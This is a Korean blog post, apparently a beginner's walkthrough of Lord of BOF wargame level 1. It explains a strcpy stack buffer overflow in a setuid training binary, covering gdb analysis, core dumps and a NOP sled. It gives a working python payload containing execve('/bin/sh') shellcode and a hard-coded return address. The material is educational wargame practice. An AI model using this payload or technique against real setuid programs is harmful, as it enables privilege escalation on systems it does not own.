constWORLDant

Lord Of BOF 1번 문제 본문

0x04 pwnable

Lord Of BOF 1번 문제

data type ConS_tanT 2017.05.12 07:49

오늘 처음으로 포너블에 입문하였다. 정말 개념 잡기 어려웠던 것 같다.


포너블은 3원칙이 중요하다.


1원칙. 해당 취약점이 BOF, UAF 등등 (아직 이것 두개만 개념을 안다) 중에 무엇인지 파악한다.


2원칙. GDB 혹은 IDA로 분석한다. 

(해당buf의 크기를 구하고, SFP(Stack Frame Pointer), RET(Return)에 대해 파악한다) 


3원칙. 2원칙을 토대로 페이로드를 짜고 틀리면 계속 검증한다. 


(끈기가 필요하다) - 아직 왕왕왕 뉴비니까 


문제 코드 부터 살펴보자. 




이번 문제는 strcpy 취약점을 이용한 BOF공격이다.

BOF를 통해 권한을 딸꺼다. 


여기서 짚고 넘어가야 하는 개념이 한가지 있다. 


gremlin 바이너리는 그룹과 그 외 사용자 권한에 gremlin이라고 적혀있다.  거기다가 SetUid (파일소유자) 권한도 걸려있다. 


지금 보면, 유저와 그 외 사용자는 x권한과 r권한은 있지만 w권한이 없기 때문에 수정이 불가능하고, gdb 디버깅이 불가능하다.


gdb 디버깅을 하기 위해서는 똑같은 파일을 파일명만 바꾸어서 해도되고, tmp 폴더를 만들어서 그 내부에 gremlin 바이너리를 복사하여 사용한다.


tmp폴더를 만들어서 복사하는 이유는 tmp폴더는 gate의 권한이기 때문이다. 그래서 폴더(디렉터리)안의 바이너리도 gate의 권한을 지니게 되어 gdb 디버깅이 가능하게 된다.



이제 디버깅을 실행해보자.

gdb -q ./바이너리명 

-q 를 하는 이유는 로그문장을 없애주기 위해서이다.




현재, leave 위치에 break point를 건다.

b * main+82 혹은 b * 0x8048482 




< 페이로드를 작성하기 위한 시나리오 >

1단계 . buf를 가득 채우고, RET에 정상적인 주소가 아닌 해커가 원하는 주소로 조작한다.


info reg 명령어를 통해 레지스터를 확인하고, x/100 $esp 명령어를 통해 메모리 덤프 값을 확인해본다.





ni(next into)로 다음 명령어 실행 


Segmentation Fault 발생 


2단계. Nop Slide기법 + 쉘코드 삽입(/bin/sh) 


Nop Slide란?  NOP 명령어들의 나열로써, 프로그램이 sled에서 어느 위치의 메모리 주소로든 분기할 때마다 CPU 명령어 실행 흐름을 마지막으로 요구되는 목적지까지 슬라이딩시키기 위한 것, 대부분 익스플로잇해서 사용되는 기법.



참조: https://en.wikipedia.org/wiki/Buffer_overflow


쉘 코드 :


Nop Slide와 쉘 코드를 이용한 시나리오 


우선, 해당 쉘 코드의 바이트 수 : 25BYTES 

buf의 범위 256 

Nop으로 채울 범위 : buf's 범위 - 쉘 코드 바이트 수 : 231BYTES 


페이로드 작성

`python -c 'print "\x90"*231 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + 조작할 주소 


gdb에서 확인하였을 때 buf[0]의 주소는 0xbf ff f8 28이다. 리틀엔디언으로 0x 28 f8 ff bf 을 페이로드에 적어준다.


`python -c 'print "\x90"*231 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x28\xf8\xff\xbf"'`



아무리 봐도 맞는 페이로드 같은데 또 Segmentation Fault가 출력되었다.


core 덤프를 떠서 어디에서 브레이크가 걸렸는지 분석이 가능하다.



core 덤프를 확인하자.



위에서 언급한 주소를 RET에 이용해보았다. 



원리는 다 파악이 됬는데 왜 쉘이 따지지 않는지 모르겠다.....ㅠㅠ 다시 하자


해결 하였음. 


nop 을 한번에 묶어서 다 보내는 방법 말고 nop + 쉘 코드 + nop 이 buf와 sfp를 다 채울 수 있게 세팅하였다.


 ./gremlin `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*135 + "\x08\xf9\xff\xbf"'`




'0x04 pwnable' 카테고리의 다른 글

rtl 공부  (0) 2017.11.27
Main HEAP and Thread HEAP  (0) 2017.10.30
공부 내용  (0) 2017.10.23
Lord of Bof 2번 문제  (0) 2017.07.07
overflow_example  (0) 2017.07.06
Lord Of BOF 1번 문제  (0) 2017.05.12
0 Comments
댓글쓰기 폼